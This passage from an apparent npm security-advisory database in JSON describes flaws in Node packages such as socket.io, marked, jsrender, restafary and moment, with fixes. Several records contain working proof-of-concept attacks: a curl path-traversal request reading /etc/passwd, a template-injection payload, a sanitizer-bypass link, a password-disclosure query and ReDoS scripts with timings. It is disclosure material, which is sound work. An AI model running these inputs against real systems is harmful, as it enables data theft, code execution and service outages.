Socket.IO.\n\nThe vulnerability is related to the way that node.js handles the `rejectUnauthorized` setting. If the value is something that evaluates to false, certificate verification will be disabled.\n\nThis is problematic as engine.io-client passes in an object for settings that includes the rejectUnauthorized property, whether it has been set or not. If the value has not been explicitly changed, it will be passed in as `null`, resulting in certificate verification being turned off:\n\n``` \n // line that causes bug\nthis.rejectUnauthorized = opts.rejectUnauthorized === undefined ? null : opts.rejectUnauthorized;\n ```","recommendation":"Upgrade to version 1.6.9 or greater. If you are unable to upgrade, make sure and force all calls to socket.io to have a `rejectedUnauthorized: true` flag.","references":"- https://github.com/socketio/engine.io-client/commit/2c55b278a491bf45313ecc0825cf800e2f7ff5c1\n- https://www.cigital.com/blog/node-js-socket-io/","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","cvss_score":6.8},{"id":94,"created_at":"2016-03-28T21:18:24+00:00","updated_at":"2016-05-13T20:43:49+00:00","title":"Non-Constant Time String Comparison","author":"Todd Wolfson","module_name":"csrf-lite","publish_date":"2016-04-23T03:42:03+00:00","cves":[],"vulnerable_versions":"<=0.1.1","patched_versions":">=0.1.2","slug":"csrf-lite_non-constant-time-string-comparison","overview":"- csrf-lite is a cross-site request forgery protection library for framework-less node sites\n- csrf-lite uses `===`, a fail first string comparison, instead of a time constant string comparison\n- This enables an attacker being able to calculate minuscule differences in CSRF tokens, essentially enabling them to guess the token one character at a time\n\n\n_Example psuedo-code of how the built-in string comparison (fail first) works_:\n```\nfunction compareTokens(a, b)\n tempCheck = 0;\n if a.length() != b.length()\n return false;\n for each character in a {\n tempCheck += 1;\n if a[current character check] != b[current character check]\n return false;\n }\n return true;\n\ncsrfToken = \"63737266546f6b656e\";\ncsrfTokenCompare = user_input();\n\ncompareTokens(csrfToken, csrfTokenCompare);\n```\nEach check increases the variable `tempCheck` by one. If a malicious user is able to see what `tempCheck` is at each run (how long it takes to do a check), then they can see when it increases. This increase indicates that the character they just put in for `csrfTokenCompare` is the correct one.","recommendation":"Update to at least version 0.1.2","references":"- https://github.com/isaacs/csrf-lite/pull/1","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","cvss_score":4.3},{"id":104,"created_at":"2016-04-21T18:27:18+00:00","updated_at":"2016-06-22T16:23:20+00:00","title":"SSL Validation Defaults to False","author":"Mark Lee","module_name":"electron-packager","publish_date":"2016-04-22T15:56:50+00:00","cves":[],"vulnerable_versions":">= 5.2.1 <= 6.0.0 || >=6.0.0 <= 6.0.2","patched_versions":">= 7.0.0","slug":"electron-packager_ssl-validation-defaults-to-false","overview":"- electron-packager is a command line tool that packages Electron source code into `.app` and `.exe` packages. along with Electron.\n- The `--strict-ssl` command line option defaults to false if not explicitly set to true\n\nThis could allow an attacker to Man In The Middle (MITM) the step where electron-packager does the following step: \"Download all supported target platforms and arches of Electron using the installed electron-prebuilt version (and cache the downloads in ~/.electron)\" effecting the integrity of the package and the cached downloads in ~/.electron.\n\nThis only affects users using the electron-packager CLI. The strict-ssl option defaults to true for the node.js API.","recommendation":"Upgrade to at least version 7.0.0\n\nIt's also recommended to delete the electron-download cache folder, by default named .electron, and located in your home folder. For example:\n\n```\nrm -rf ~/.electron\n```","references":"- https://github.com/electron-userland/electron-packager/issues/333","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:P/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N","cvss_score":3.1},{"id":92,"created_at":"2016-03-28T17:49:12+00:00","updated_at":"2016-05-04T05:14:52+00:00","title":"Private Data Disclosure","author":"Stefan Mirea","module_name":"express-restify-mongoose","publish_date":"2016-04-19T23:24:17+00:00","cves":[],"vulnerable_versions":"<= 2.4.2 || >= 3.0.0 <=3.0.1","patched_versions":">=2.5.0 <= 3.0.0 || >=3.1.0","slug":"express-restify-mongoose_password-disclosure","overview":"express-restify-mongoose is a module to easily create a flexible REST interface for mongoose models.\n\nIf you have a user model that you want to protect, such as the following User model:\n```\nconst User = mongoose.model('User', new mongoose.Schema({\n name: String,\n password: String,\n}));\n```\n\nYou would normally do something such as:\n```\nrestify.serve(router, User, {\n private: ['password'], // Set the password part of User as private, so outside people can't read it\n})\n```\n\nThis would hide the password field from people that send your application a `GET /User` and `GET /User/some-user-id` request. \n\nA malicious user can go to your application and send a request for `GET /User?distinct=password` and get all the passwords for all the users in the database, despite the field being set to private. This can be used for other private data if the malicious user knew what was set as private for specific routes.","recommendation":"Update to at least version 3.1.0 or 2.5.0","references":"- https://github.com/florianholzapfel/express-restify-mongoose/issues/252","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","cvss_score":8.2},{"id":90,"created_at":"2016-03-28T17:21:46+00:00","updated_at":"2016-06-02T18:53:53+00:00","title":"Authentication Bypass","author":"Craig Arendt","module_name":"console-io","publish_date":"2016-04-18T21:17:58+00:00","cves":[],"vulnerable_versions":"<=2.2.13","patched_versions":">=2.3.0","slug":"console-io_authentication-bypass","overview":"console-io is a module that allows users to implement a web console in their application. \n\nA malicious user could bypass the authentication and execute any command that the user who is running the console-io application is able to run. This means that if console-io was running from root, the attacker would have full access to the system. \n\nThis vulnerability exists because the console-io application does not configure socket.io to require authentication, which allows a malicious user to connect via a websocket to send commands and receive the response.","recommendation":"Upgrade to at least version 2.3.0","references":null,"legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cvss_score":7.5},{"id":98,"created_at":"2016-04-01T16:57:21+00:00","updated_at":"2016-05-03T22:34:32+00:00","title":"npm Token Leak","author":"Mitar, Will White & the team at Mapbox, Max Motovilov, and James Taylor","module_name":"npm","publish_date":"2016-04-18T21:16:44+00:00","cves":[],"vulnerable_versions":"<= 2.15.0 || >= 3.0.0 <= 3.8.2","patched_versions":">= 2.15.1 <= 3.0.0 || >= 3.8.3","slug":"npm_npm-token-leak","overview":"The primary npm registry has, since late 2014, used HTTP bearer tokens to authenticate requests from the npm command-line interface. Due to a design flaw in the CLI, these bearer tokens were sent with every request made by the CLI for logged-in users, regardless of the destination of the request. They should instead only be included for requests made against the registry or registries used for the current install.\n\nThis flaw allows an attacker to set up an HTTP server that could collect authentication information they could use to impersonate the users whose tokens they collected. This impersonation would allow them to do anything the compromised users could do, including publishing new versions of packages.","recommendation":"Upgrade npm itself with `npm install npm@latest -g` and [revoke your tokens](https://www.npmjs.com/settings/tokens)","references":"- https://nodejs.org/en/blog/vulnerability/npm-tokens-leak-march-2016/\n- http://blog.npmjs.org/post/142036323955/fixing-a-bearer-token-vulnerability","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N","cvss_score":6.8},{"id":101,"created_at":"2016-04-18T16:26:59+00:00","updated_at":"2016-08-01T16:28:28+00:00","title":"Sanitization bypass using HTML Entities","author":"Matt Austin","module_name":"marked","publish_date":"2016-04-18T16:45:00+00:00","cves":[],"vulnerable_versions":"<=0.3.5","patched_versions":">=0.3.6","slug":"marked_content-injection","overview":"marked is an application that is meant to parse and compile markdown.\n\nDue to the way that marked parses input, specifically HTML entities, it's possible to bypass marked's content injection protection (`sanitize: true`) to inject a `javascript:` URL.\n\nThis flaw exists because `&#xNNanything;` gets parsed to what it could and leaves the rest behind, resulting in just `anything;` being left. \n\nFor example:\n\nIf a malicious user could provide this input to the application `javascript֍ocument;alert(1)` resulting in a valid link, that when a user clicked it would execute `alert(1)`.","recommendation":"To mitigate the flaw you have a couple of options. There's a [pull request](https://github.com/chjj/marked/pull/592) open that fixes this issue. Another option would be to switch to another markdown library such as remarkable.","references":"- https://github.com/chjj/marked/pull/592\n- https://github.com/chjj/marked/pull/592/commits/2cff85979be8e7a026a9aca35542c470cf5da523","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","cvss_score":5.3},{"id":97,"created_at":"2016-03-30T22:22:15+00:00","updated_at":"2016-04-25T14:49:30+00:00","title":"Template Injection","author":"Paweł Hałdrzyński","module_name":"jsrender","publish_date":"2016-03-30T22:25:57+00:00","cves":["CVE-2016-3942"],"vulnerable_versions":"<=0.9.73","patched_versions":">=0.9.74","slug":"jsrender_template-injection","overview":"jsrender is a template engine for use within the browser or node.js.\n\nIf JsRender version 0.9.73 or earlier is used with server-delivered client-side templates that dynamically embed end-user input, then it is possible for a malicious user to execute arbitrary client-side code via use of a very specific expression. This threat has been removed in version 0.9.74 and all subsequent updates.\n\nThe finder of this vulnerability provided a proof of concept demonstrating code execution.\n```\n<POC-REQUEST>\n{{for ~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)}}\n{{:#data}}\n{{/for}}\n</POC-REQUEST>\n```\n\n```\n<POC-RESPONSE>\nfunction anonymous(data,view,j,u) { // template var v,t=j._tag,ret=\"\" +t(\"for\",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\\\"return arguments.callee.caller\\\")()):~y(10)']}, args:[view.hlp(\"x\")!=1?(data.constructor.constructor(\"return arguments.callee.caller\")()):view.hlp(\"y\")(10)], props:{}}]); return ret; } \n<POC-RESPONSE>\n```","recommendation":"Upgrade to at least version 0.9.74","references":"https://github.com/BorisMoore/jsrender/commit/f984e139deb0a7648d5b543860ec652c21f6dcf6","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","cvss_score":6.3},{"id":96,"created_at":"2016-03-28T22:31:14+00:00","updated_at":"2016-04-25T14:50:17+00:00","title":"Insecure Default Configuration","author":"Phil Schleihauf","module_name":"airbrake","publish_date":"2016-03-28T22:48:46+00:00","cves":[],"vulnerable_versions":"<=0.3.8","patched_versions":">=0.4.0","slug":"airbrake_insecure-default-configuration","overview":"The airbrake module defaults to sending environment variables over HTTP. Environment variables can often times contain secret keys and other sensitive values. A malicious user could be on the same network as a regular user and intercept all the secret keys the user is sending. This goes against common best practice, which is to use HTTPS.","recommendation":"Change to use https or update to at least version 0.4.0","references":"- https://github.com/airbrake/node-airbrake/issues/70","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","cvss_score":5.3},{"id":91,"created_at":"2016-03-28T17:34:32+00:00","updated_at":"2016-05-09T22:19:39+00:00","title":"No CSRF Validation","author":"Craig Arendt","module_name":"droppy","publish_date":"2016-03-28T22:40:54+00:00","cves":[],"vulnerable_versions":"<3.5.0","patched_versions":">=3.5.0","slug":"droppy_no-csrf-validation","overview":"Droppy versions <=3.4.0 does not perform any verification for cross-domain websocket requests. An attacker is able to make a specially crafted page that can send requests as the context of the currently logged in user. For example this means the malicious user could add a new admin account under his control and delete others.","recommendation":"Upgrade to droppy version 3.5.0 or greater.","references":null,"legacy_slug":null,"allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":89,"created_at":"2016-03-25T17:56:35+00:00","updated_at":"2016-04-27T21:08:45+00:00","title":"Directory Traversal","author":"Craig Arendt","module_name":"restafary","publish_date":"2016-03-28T22:21:23+00:00","cves":[],"vulnerable_versions":"<1.6.1","patched_versions":">=1.6.1","slug":"cloudcmd_directory-traversal","overview":"- restafary is a REpresentful State Transfer API for Creating, Reading, Using, Deleting files on a server from the web\n- restafary is able to set up a root path, which should only allow it to run inside of that root path it specified. \n- An attacker is able to provide a specifically crafted path to access files outside of this specified root path.\n - Note: this is only possible if the attacker has access to the restafary application.\n\nProof of Concept\n\n```\ncurl -i -s -k -X 'GET' -H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ=' 'http://localhost:8000/api/v1/fs/..%2f..%2fetc/passwd'\n\n\nHTTP/1.1 200 OK\nX-Powered-By: Express\nAccess-Control-Allow-Origin: *\nContent-Type: text/plain; charset=UTF-8\nVary: Accept-Encoding\nAccept-Ranges: bytes\nLast-Modified: Sun Jul 12 2015 22:38:08 GMT-0700 (PDT)\nContent-Length: 5581\nCache-Control: max-age=0\nDate: Fri, 25 Mar 2016 17:30:29 GMT\nConnection: keep-alive\n\n##\n# User Database\n# \n# Note that this file is consulted directly only when the system is running\n# in single-user mode. At other times this information is provided by\n# Open Directory.\n#\n# See the opendirectoryd(8) man page for additional information about\n# Open Directory.\n##\nnobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false\nroot:*:0:0:System Administrator:/var/root:/bin/sh\n```","recommendation":"Upgrade to restafary version 1.6.1 or greater.","references":null,"legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","cvss_score":4.3},{"id":93,"created_at":"2016-03-28T17:59:38+00:00","updated_at":"2016-04-20T17:41:15+00:00","title":"Insecure Entropy Source - Math.random()","author":"Fedot Praslov","module_name":"node-uuid","publish_date":"2016-03-28T21:29:30+00:00","cves":["CVE-2015-8851"],"vulnerable_versions":"<1.4.4","patched_versions":">=1.4.4","slug":"uuid_insecure-entropy-source-mathrandom","overview":"node-uuid prior to 1.4.4 contained a bug that caused it to consistently fall back to using `Math.random` instead of a more cryptographically sound source of entropy, the native `crypto` module.","recommendation":"Upgrade to version 1.4.4 or greater","references":"- https://github.com/broofa/node-uuid/issues/108\n- https://github.com/broofa/node-uuid/issues/122","legacy_slug":null,"allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":4.2},{"id":86,"created_at":"2016-03-18T04:07:44.462+00:00","updated_at":"2016-04-20T15:57:35+00:00","title":"Regular Expression Denial of Service","author":"Alberto Martínez","module_name":"riot-compiler","publish_date":"2016-03-21T21:27:58.413+00:00","cves":[],"vulnerable_versions":"2.3.21","patched_versions":">2.3.21","slug":"riot-compiler_regular-expression-denial-of-service","overview":"The riot-compiler version version 2.3.21 \"has an issue in a regex (Catastrophic Backtracking) thats make it unusable under certain conditions\"\n\nIt should be noted that 2.3.21 has been unpublished.\n\nThanks to Sven Slootweg for letting us know about this issue.","recommendation":"Upgrade to version 2.3.22 or greater.","references":"- https://github.com/riot/compiler/issues/46","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","cvss_score":5.3},{"id":85,"created_at":"2016-03-16T05:09:06.299+00:00","updated_at":"2016-04-20T17:42:46+00:00","title":"Authentication credentails logged in clear text","author":"Stephan Bönnemann","module_name":"grunt-gh-pages","publish_date":"2016-03-16T16:29:31.778+00:00","cves":[],"vulnerable_versions":"<=0.9.1","patched_versions":">=1.0.0","slug":"grunt-gh-pages_auth-info-sent-from-publicly-accessible-pages","overview":"A common setup to deploy to gh-pages on every commit via a CI system is to expose a github token to ENV and to use it directly in the auth part of the url. \n\nIn module versions < 0.9.1 the auth portion of the url is outputted as part of the grunt tasks logging function. If this output is publicly available then the credentials should be considered compromised.","recommendation":"- Upgrade to version 1.0.0 or greater.\n- Consider any credentials used with these modules compromised and rotate those credentials.","references":"- https://github.com/tschaub/grunt-gh-pages/pull/41\n","legacy_slug":null,"allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":81,"created_at":"2016-01-28T07:56:29.271+00:00","updated_at":"2016-05-13T20:33:23+00:00","title":"Authentication Bypass in Try Mode","author":"Alan Shaw","module_name":"hapi-auth-jwt2","publish_date":"2016-01-28T07:56:52.379+00:00","cves":[],"vulnerable_versions":"5.1.1","patched_versions":">=5.1.2","slug":"hapi-auth-jwt2_authentication-bypass-in-try-mode","overview":"When attempting to allow authentication mode `try` in [hapi](https://www.npmjs.com/package/hapi), hapi-auth-jwt2 version 5.1.1 introduced an issue whereby people could bypass authentication.","recommendation":"Upgrade to version 5.1.2 or greater.","references":"- https://github.com/dwyl/hapi-auth-jwt2/issues/111\n- https://github.com/dwyl/hapi-auth-jwt2/pull/112","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cvss_score":7.5},{"id":55,"created_at":"2015-10-26T23:19:57.916+00:00","updated_at":"2016-04-21T00:15:20+00:00","title":"Regular Expression Denial of Service","author":"Adam Baldwin","module_name":"moment","publish_date":"2016-01-26T20:04:21.225+00:00","cves":["CVE-2016-4055"],"vulnerable_versions":"<2.11.2","patched_versions":">=2.11.2","slug":"moment_regular-expression-denial-of-service","overview":"moment is vulnerable to regular expression denial of service when user input is passed unchecked into moment.duration() blocking the event loop for a period of time.\n\n\"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\" [1]\n\nIt's not a huge amplification it takes about 25k characters to get 1.1 seconds however that's well under most servers max request size so it's certainly exploitable.\n\nThe regular expression in question \n\nmoment/2.10.6/moment.js\n```\n1679 var aspNetRegex = /(\\-)?(?:(\\d*)\\.)?(\\d+)\\:(\\d+)(?:\\:(\\d+)\\.?(\\d{3})?)?/;\n```\n\n\n### Proof of concept\n```\nvar moment = require('moment');\n\nvar genstr = function (len, chr) {\n var result = \"\";\n for (i=0; i<=len; i++) {\n result = result + chr;\n }\n\n return result;\n}\n\n\nfor (i=20000;i<=10000000;i=i+10000) {\n console.log(\"COUNT: \" + i);\n var str = '-' + genstr(i, '1')\n console.log(\"LENGTH: \" + str.length);\n var start = process.hrtime();\n moment.duration(str)\n\n var end = process.hrtime(start);\n console.log(end);\n}\n```\n\n### Results\n```\n$ node moment.js\nCOUNT: 20000\nLENGTH: 20002\n[ 0, 618931029 ]\nCOUNT: 30001\nLENGTH: 30003\n[ 1, 401413894 ]\nCOUNT: 40002\nLENGTH: 40004\n[ 2, 437075303 ]\nCOUNT: 50003\nLENGTH: 50005\n[ 3, 824664804 ]\nCOUNT: 60004\nLENGTH: 60006\n[ 5, 651335262 ]\n```\n\n### Timeline:\n- 10/26/2015 - Initial Discovery\n- 10/26/2015 - Maintainers notified via email\n- 12/16/2015 - Maintainers notified via email again\n- 2/2/2016 - Added information to fix from pull request\n- 2/3/2016 - ","recommendation":"Please update to version 2.11.2 or greater. If you are unable to update more information is available below.\n\n\nA fix [has been made available in a pull request](https://github.com/moment/moment/pull/2939). Do not allow untrusted user input into `moment.duration()` or truncate the length of the allowed input to reduce blocking potential.\n\nin moment.js change line 1819 from\n\n`var aspNetRegex = /(\\-)?(?:(\\d*)[. ])?(\\d+)\\:(\\d+)(?:\\:(\\d+)\\.?(\\d{3})?)?/;` \n\nto\n \n`var aspNetRegex = /^(\\-)?(?:(\\d*)[. ])?(\\d+)\\:(\\d+)(?:\\:(\\d+)\\.?(\\d{3})?(?:\\d*)?)?$/;`","references":"- https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","cvss_score":5.3},{"id":80,"created_at":"2016-01-25T17:56:30.822+00:00","updated_at":"2016-04-27T21:47:29+00:00","title":"Denial of Service and Content Injection","author":"Garth Boyd","module_name":"i18n-node-angular","publish_date":"2016-01-25T17:56:55.455+00:00","cves":[],"vulnerable_versions":"<1.4.0","patched_versions":">=1.4.0","slug":"i18n-node-angular_denial-of-service-and-content-injection","overview":"- i18n-node-angular is a module used to interact between i18n and angular without using additional resources\n- A REST API endpoint that is used for development was not disabled in production environments\n- A malicious user could fill up the server causing a Denial of Service or content injection","recommendation":"Upgrade to version 1.4.0 or greater.","references":"- https://github.com/oliversalzburg/i18n-node-angular/commit/877720d2d9bb90dc8233706e81ffa03f99fc9dc8","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cvss_score":7.3},{"id":77,"created_at":"2016-01-19T21:50:30.175+00:00","updated_at":"2016-04-21T00:16:58+00:00","title":"Regular Expression Denial of Service","author":"Adam Baldwin","module_name":"hawk","publish_date":"2016-01-19T21:51:35.396+00:00","cves":["CVE-2016-2515"],"vulnerable_versions":"< 3.1.3 || >= 4.0.0 <4.1.1","patched_versions":">=3.1.3 < 4.0.0 || >=4.1.1","slug":"hawk_regular-expression-denial-of-service","overview":"Specifically crafted long headers or uris can cause a minor denial of service when using hawk versions less than 4.1.1.\n\n\"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\"\n\nUpdates:\n- Updated to include fix in 3.1.3 ","recommendation":"Update to hawk version 4.1.1 or greater.","references":"- https://github.com/hueniverse/hawk/issues/168\n- https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","cvss_score":5.3},{"id":76,"created_at":"2016-01-17T21:04:10.998+00:00","updated_at":"2016-04-21T00:16:44+00:00","title":"Regular Expression Denial of Service","author":"Adam Baldwin","module_name":"is-my-json-valid","publish_date":"2016-01-18T04:29:55.903+00:00","cves":["CVE-2016-2537"],"vulnerable_versions":"<=2.12.3","patched_versions":">=2.12.4","slug":"is-my-json-valid_regular-expression-denial-of-service","overview":"It is possible to block the event loop when specially crafted user input is allowed into a validator using the `utc-millisec` format.\n\n\"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\" [1]","recommendation":" Upgrade to version 2.12.4 or greater.","references":"- https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","cvss_score":5.3},{"id":75,"created_at":"2016-01-15T17:00:45.333+00:00","updated_at":"2016-04-20T16:58:45+00:00","title":"Denial of Service","author":"Peter Sorowka","module_name":"mqtt-packet","publish_date":"2016-01-15T17:01:49.053+00:00","cves":[],"vulnerable_versions":"<3.4.6 || > 4.0.0 <4.0.5","patched_versions":">=3.4.6 < 4.0.0|| >=4.0.5","slug":"mqtt-packet_denial-of-service","overview":"Specifically crafted MQTT packets can crash the application, making a DoS attack feasible with very little bandwidth. \n\nTimeline\n- January 15, 2016 - Initial Report (self disclosed from maintainer)\n- January 15, 2016 - CVE Requested","recommendation":"Update to version 3.4.6 or 4.0.5 or greater to fix the problem.","references":"- https://github.com/mqttjs/mqtt-packet/pull/8 \n- https://github.com/mcollina/mosca/issues/393","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":74,"created_at":"2016-01-11T22:27:08.02+00:00","updated_at":"2016-05-04T16:22:52+00:00","title":"Content Injection via TileJSON Name","author":"Alexandra Ulsh, Abdullah Ahmet Erdem","module_name":"mapbox.js","publish_date":"2016-01-12T23:35:56.853+00:00","cves":[],"vulnerable_versions":"<1.6.6 || < 2.2.4 > 2.0.0","patched_versions":">=1.6.6 <2.0.0 || >= 2.2.4","slug":"mapboxjs_content-injection-via-tilejson-name","overview":"Mapbox.js versions 1.x prior to 1.6.6 and 2.x prior to 2.2.4 are vulnerable to a cross-site-scripting attack in certain uncommon usage scenarios.\n\nIf you use L.mapbox.map and L.mapbox.shareControl it is possible for a malicious user with control over the TileJSON content to inject script content into the name value of the TileJSON. After clicking on the share control, the malicious code will execute in the context of the page using Mapbox.js.\n\nSuch usage is uncommon. L.mapbox.shareControl is not automatically added to mapbox.js maps and must be explicitly added. The following usage scenarios are not vulnerable:\n\n- the map does not use a share control (L.mapbox.sharecontrol)\n- only trusted TileJSON content is loaded\n\nTimeline:\nJanuary 12, 2016 - CVE Requested","recommendation":"Upgrade to Mapbox.js version 2.2.4. If you are still using a 1.x version and unable to upgrade to 2.2.4, upgrade to 1.6.6.\n\nIf you are unable to upgrade to either 2.2.4 or 1.6.6, you can also remove instances of L.mapbox.shareControl from your maps.","references":"- https://hackerone.com/reports/99245","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N","cvss_score":4.9},{"id":53,"created_at":"2015-10-25T17:21:21.82+00:00","updated_at":"2016-04-27T22:12:08+00:00","title":"Regular Expression Denial of Service","author":"Adam Baldwin","module_name":"jshamcrest","publish_date":"2016-01-05T23:05:18.308+00:00","cves":[],"vulnerable_versions":"<=99.999.99999","patched_versions":"<0.0.0","slug":"jshamcrest_regular-expression-denial-of-service","overview":"jshamcrest is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in to the emailAddress validator.\n\n\"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\" [1]\n\n\n\n### Proof of concept\n\n```\nvar js = require('jshamcrest')\nvar emailAddress = new js.JsHamcrest.Matchers.emailAddress();\n\n\nvar genstr = function (len, chr) {\n var result = \"\";\n for (i=0; i<=len; i++) {\n result = result + chr;\n }\n\n return result;\n}\n\n\nfor (i=1;i<=10000000;i=i+1) {\n console.log(\"COUNT: \" + i);\n var str = '66666666666666666666666666666@ffffffffffffffffffffffffffffffff.' + genstr(i, 'a') + '{'\n console.log(\"LENGTH: \" + str.length);\n var start = process.hrtime();\n emailAddress.matches(str)\n\n var end = process.hrtime(start);\n console.log(end);\n}\n```\n\n### Results\nIt takes about 116 characters to get a 1.6 second event loop block.\n```\n[ 1, 633084590 ]\nCOUNT: 51\nLENGTH: 116\n```\n\n# Timeline\n- October 25, 2015 - Vulnerability Identified\n- October 25, 2015 - Maintainers notified (no response)","recommendation":"Do not pass untrusted user input into jshamcrest. Consider user a validator like joi that does not rely on regular expressions.","references":"- https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":52,"created_at":"2015-10-25T04:40:15.697+00:00","updated_at":"2016-04-20T16:02:56+00:00","title":"Regular Expression Denial of Service","author":"Adam Baldwin","module_name":"jadedown","publish_date":"2016-01-05T23:00:45.777+00:00","cves":[],"vulnerable_versions":"<=99.999.99999","patched_versions":"<0.0.0","slug":"jadedown_regular-expression-denial-of-service","overview":"jadedown is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in.\n\n\n\"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\" [1]\n\n\n### Proof of concept\n```\nvar jadedown = require('jadedown');\n\nvar genstr = function (len, chr) {\n var result = \"\";\n for (i=0; i<=len; i++) {\n result = result + chr;\n }\n\n return result;\n}\n\n\nfor (i=1;i<=10000000;i=i+1) {\n console.log(\"COUNT: \" + i);\n var str = genstr(i, 'f') + genstr(i, '#') + '{';\n console.log(\"LENGTH: \" + str.length);\n var start = process.hrtime();\n jadedown(str)\n\n var end = process.hrtime(start);\n console.log(end);\n}\n\n```\n\nResults demonstrating blocking for 5 seconds using only 48 characters.\n\n```\n$ node jadedown.js\nCOUNT: 1\nLENGTH: 6\n[ 0, 4014065 ]\nCOUNT: 4\nLENGTH: 12\n[ 0, 503507 ]\nCOUNT: 7\nLENGTH: 18\n[ 0, 325225 ]\nCOUNT: 10\nLENGTH: 24\n[ 0, 1632684 ]\nCOUNT: 13\nLENGTH: 30\n[ 0, 7541230 ]\nCOUNT: 16\nLENGTH: 36\n[ 0, 80889495 ]\nCOUNT: 19\nLENGTH: 42\n[ 0, 636009936 ]\nCOUNT: 22\nLENGTH: 48\n[ 5, 820586760 ]\n```\n\n# Timeline\n- October 24, 2015 - Vulnerability Identified\n- October 24, 2015 - Maintainers Notified\n- October 25, 2015 - Response from Maintainers with intent to fix\n- January 5, 2016 - Advisory Published\n- January 11, 2016 - CVE Requested","recommendation":"There is currently no fix. Do not allow untrusted user input into `jadedown`","references":"- https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS","legacy_slug":null,"allowed_scopes":["admin","public","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":68,"created_at":"2016-01-04T19:52:12.937+00:00","updated_at":"2016-04-25T14:55:57+00:00","title":"Remote Memory 